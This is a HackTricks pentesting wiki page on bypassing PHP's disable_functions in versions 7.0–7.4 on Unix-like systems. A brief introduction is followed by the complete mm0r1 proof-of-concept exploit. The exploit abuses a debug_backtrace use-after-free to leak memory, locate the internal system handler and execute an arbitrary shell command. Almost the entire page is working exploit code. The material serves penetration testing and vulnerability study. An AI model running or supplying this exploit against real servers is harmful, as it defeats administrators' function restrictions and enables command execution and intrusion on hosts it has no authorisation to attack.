disable-functions-bypass-php-7-0-7-4-nix-only.md (7398B)
1 --- 2 title: "disablefunctions bypass - PHP 7.0-7.4 (\\nix only)" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # disable_functions bypass - PHP 7.0-7.4 (\*nix only) 14 15 ## PHP 7.0–7.4 (\*nix only) 16 17 This historical PoC abuses a use-after-free condition involving exception backtraces to replace an internal function handler with `system`. It targets Unix-like PHP 7.0–7.4 builds available when the exploit was published; memory layout, build options, and later package patches can affect reliability. The original source and preserved technical comments follow.<sup>[[1]](#references)</sup> 18 19 ```php 20 <?php 21 22 # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) 23 # 24 # Bug: https://bugs.php.net/bug.php?id=76047 25 # debug_backtrace() returns a reference to a variable 26 # that has been destroyed, causing a UAF vulnerability. 27 # 28 # This exploit should work on all PHP 7.0-7.4 versions 29 # released as of 30/01/2020. 30 # 31 # Author: https://github.com/mm0r1 32 33 pwn("uname -a"); 34 35 function pwn($cmd) { 36 global $abc, $helper, $backtrace; 37 38 class Vuln { 39 public $a; 40 public function __destruct() { 41 global $backtrace; 42 unset($this->a); 43 $backtrace = (new Exception)->getTrace(); # ;) 44 if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 45 $backtrace = debug_backtrace(); 46 } 47 } 48 } 49 50 class Helper { 51 public $a, $b, $c, $d; 52 } 53 54 function str2ptr(&$str, $p = 0, $s = 8) { 55 $address = 0; 56 for($j = $s-1; $j >= 0; $j--) { 57 $address <<= 8; 58 $address |= ord($str[$p+$j]); 59 } 60 return $address; 61 } 62 63 function ptr2str($ptr, $m = 8) { 64 $out = ""; 65 for ($i=0; $i < $m; $i++) { 66 $out .= chr($ptr & 0xff); 67 $ptr >>= 8; 68 } 69 return $out; 70 } 71 72 function write(&$str, $p, $v, $n = 8) { 73 $i = 0; 74 for($i = 0; $i < $n; $i++) { 75 $str[$p + $i] = chr($v & 0xff); 76 $v >>= 8; 77 } 78 } 79 80 function leak($addr, $p = 0, $s = 8) { 81 global $abc, $helper; 82 write($abc, 0x68, $addr + $p - 0x10); 83 $leak = strlen($helper->a); 84 if($s != 8) { $leak %= 2 << ($s * 8) - 1; } 85 return $leak; 86 } 87 88 function parse_elf($base) { 89 $e_type = leak($base, 0x10, 2); 90 91 $e_phoff = leak($base, 0x20); 92 $e_phentsize = leak($base, 0x36, 2); 93 $e_phnum = leak($base, 0x38, 2); 94 95 for($i = 0; $i < $e_phnum; $i++) { 96 $header = $base + $e_phoff + $i * $e_phentsize; 97 $p_type = leak($header, 0, 4); 98 $p_flags = leak($header, 4, 4); 99 $p_vaddr = leak($header, 0x10); 100 $p_memsz = leak($header, 0x28); 101 102 if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write 103 # handle pie 104 $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; 105 $data_size = $p_memsz; 106 } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec 107 $text_size = $p_memsz; 108 } 109 } 110 111 if(!$data_addr || !$text_size || !$data_size) 112 return false; 113 114 return [$data_addr, $text_size, $data_size]; 115 } 116 117 function get_basic_funcs($base, $elf) { 118 list($data_addr, $text_size, $data_size) = $elf; 119 for($i = 0; $i < $data_size / 8; $i++) { 120 $leak = leak($data_addr, $i * 8); 121 if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 122 $deref = leak($leak); 123 # 'constant' constant check 124 if($deref != 0x746e6174736e6f63) 125 continue; 126 } else continue; 127 128 $leak = leak($data_addr, ($i + 4) * 8); 129 if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 130 $deref = leak($leak); 131 # 'bin2hex' constant check 132 if($deref != 0x786568326e6962) 133 continue; 134 } else continue; 135 136 return $data_addr + $i * 8; 137 } 138 } 139 140 function get_binary_base($binary_leak) { 141 $base = 0; 142 $start = $binary_leak & 0xfffffffffffff000; 143 for($i = 0; $i < 0x1000; $i++) { 144 $addr = $start - 0x1000 * $i; 145 $leak = leak($addr, 0, 7); 146 if($leak == 0x10102464c457f) { # ELF header 147 return $addr; 148 } 149 } 150 } 151 152 function get_system($basic_funcs) { 153 $addr = $basic_funcs; 154 do { 155 $f_entry = leak($addr); 156 $f_name = leak($f_entry, 0, 6); 157 158 if($f_name == 0x6d6574737973) { # system 159 return leak($addr + 8); 160 } 161 $addr += 0x20; 162 } while($f_entry != 0); 163 return false; 164 } 165 166 function trigger_uaf($arg) { 167 # str_shuffle prevents opcache string interning 168 $arg = str_shuffle(str_repeat('A', 79)); 169 $vuln = new Vuln(); 170 $vuln->a = $arg; 171 } 172 173 if(stristr(PHP_OS, 'WIN')) { 174 die('This PoC is for *nix systems only.'); 175 } 176 177 $n_alloc = 10; # increase this value if UAF fails 178 $contiguous = []; 179 for($i = 0; $i < $n_alloc; $i++) 180 $contiguous[] = str_shuffle(str_repeat('A', 79)); 181 182 trigger_uaf('x'); 183 $abc = $backtrace[1]['args'][0]; 184 185 $helper = new Helper; 186 $helper->b = function ($x) { }; 187 188 if(strlen($abc) == 79 || strlen($abc) == 0) { 189 die("UAF failed"); 190 } 191 192 # leaks 193 $closure_handlers = str2ptr($abc, 0); 194 $php_heap = str2ptr($abc, 0x58); 195 $abc_addr = $php_heap - 0xc8; 196 197 # fake value 198 write($abc, 0x60, 2); 199 write($abc, 0x70, 6); 200 201 # fake reference 202 write($abc, 0x10, $abc_addr + 0x60); 203 write($abc, 0x18, 0xa); 204 205 $closure_obj = str2ptr($abc, 0x20); 206 207 $binary_leak = leak($closure_handlers, 8); 208 if(!($base = get_binary_base($binary_leak))) { 209 die("Couldn't determine binary base address"); 210 } 211 212 if(!($elf = parse_elf($base))) { 213 die("Couldn't parse ELF header"); 214 } 215 216 if(!($basic_funcs = get_basic_funcs($base, $elf))) { 217 die("Couldn't get basic_functions address"); 218 } 219 220 if(!($zif_system = get_system($basic_funcs))) { 221 die("Couldn't get zif_system address"); 222 } 223 224 # fake closure object 225 $fake_obj_offset = 0xd0; 226 for($i = 0; $i < 0x110; $i += 8) { 227 write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); 228 } 229 230 # pwn 231 write($abc, 0x20, $abc_addr + $fake_obj_offset); 232 write($abc, 0xd0 + 0x38, 1, 4); # internal func type 233 write($abc, 0xd0 + 0x68, $zif_system); # internal func handler 234 235 ($helper->b)($cmd); 236 exit(); 237 } 238 ``` 239 240 ## References 241 242 - [1] [PHP 7.0-7.4 use-after-free disable_functions bypass exploit (mm0r1/exploits)](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php)